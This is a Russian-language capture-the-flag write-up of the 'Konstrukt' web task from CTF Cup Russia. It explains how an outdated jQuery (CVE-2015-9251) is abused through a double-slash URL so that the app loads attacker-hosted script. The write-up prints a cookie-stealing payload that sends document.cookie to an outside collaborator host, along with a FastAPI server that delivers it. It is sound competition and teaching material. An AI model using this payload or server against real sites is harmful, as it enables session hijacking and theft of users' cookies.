Konstrukt | Web | CTF Cup Russia
Вступление
27 октября завершился VIII Кубок CTF России, по результатам которого наша команда заняла 7 место. В сегодняшнем материале я хотел бы разобрать одну интересную цепочку, которую нам удалось реализовать в ходе решения задания Konstrukt вместе с @anodev.
Ставим одноименный трек на фон и помчали!
Решение
В задании нам даются все файлы приложения и возможность создать себе инстанс для решения (в рамках статьи решать будем на локальном инстансе).
Бегло пробежавшись по исходным файлам, мы подметили наличие скрипта bot.js, ненавязчиво намекающего, что у нас тут какой-то client-side.
В остальном ничего интересного мы не нашли и отправились изучать веб-интерфейс приложения. А там у нас ничто иное как конструктор веб-сайтов с поддержкой Markdown и возможностью создавать страницы.
Немного поигравшись с MD мы пришли к тому, что в никакой уязвимости в явном виде мы здесь не найдем и отправились копать глубже.
Мы начали с изучения веб-технологий, используемых веб-сайтом с в глаза сразу же бросилась библиотека jQuery версии 2.2.4 (актуальная версия – 3.7.1). Интересно.
Справка: jQuery — это быстрая, небольшая и функциональная JavaScript библиотека, которая упрощает работу с HTML-документами, обработку событий, анимацию и взаимодействие с AJAX. Она позволяет разработчикам писать меньше кода для выполнения сложных задач и обеспечивает кроссбраузерную совместимость.
Немного погуглив, мы нашли весьма интересную уязвимость, подходящую для нашей ситуации – CVE-2015-9251
Справка: CVE-2015-9251 — это уязвимость в библиотеке jQuery, которая может привести к выполнению произвольного кода через уязвимые версии jQuery при использовании метода $.ajax()
. Эта уязвимость возникает из-за недостаточной проверки входных данных, что позволяет злоумышленнику манипулировать запросами и получать доступ к конфиденциальной информации или выполнять нежелательные действия на стороне клиента.
Окей, нашли уязвимость, как ее теперь применить? Описание уязвимости гласит о неком cross-domain Ajax request, поэтому и думать пришлось в сторону него:
Небольшой ресерч позволил нам обнаружить, что при запросе вида http://base_url//example.com браузер посредством Ajax-запроса будет безуспешно пытаться запросить какой-то .json с example.com:
А при помощи Burp Collaborator мы убедились, что запросы действительно летят на подконтрольный нам сервер:
Собственно, вот и есть тот самый cross-domain Ajax request. Осталось дело за малым – дать ему то, что он хочет.
Для начала мы решили попробовать стандартную нагрузку для cookie hijacking:
document.location="https://uec4rpqgcs5dryq81ng1xqf990fs3ir7.oastify.com/?cookie="+document.cookie
Спойлер: её оказалось достаточно. Нагрузку записали её в файл data.js.
Далее нами был поднят простенький FastAPI-сервер, который в ответ на запрос по нужному нам маршруту возвращал содержимое файла data.js – нашу полезную нагрузку:
from fastapi import FastAPI from fastapi.responses import Response import uvicorn from fastapi.middleware.cors import CORSMiddleware app = FastAPI() app.add_middleware( CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) @app.get("/data.js.json") def route(): return Response(content=open('data.js').read(), media_type="application/javascript") uvicorn.run(app, host="0.0.0.0", port=19000)
Теперь, при обращении по адресу http://base_url//evil.com/data.js на наш FastAPI-севрер прилетает запрос на путь /data.js.json, тот самый, который мы описали в его логике:
В ответ на что наш FastAPI заботливо возвращает XSS payload с заголовком content-type: application/javascript
А на Collaborator прилетел запрос с нашими собственными cookie – трюк удался:
Осталось лишь дождаться, когда админ подарит нам свою куку, внутри нее и будет ответ к заданию.
Заключение
Несмотря на то, что выше описанное не выглядит чрезвычайно сложным, jQuery уязвимости в подобных заданиях встречаются нечасто и в результате таск провисел с нашим единственным решением почти 4 часа, прежде чем на него поступил второй солв. Такие дела.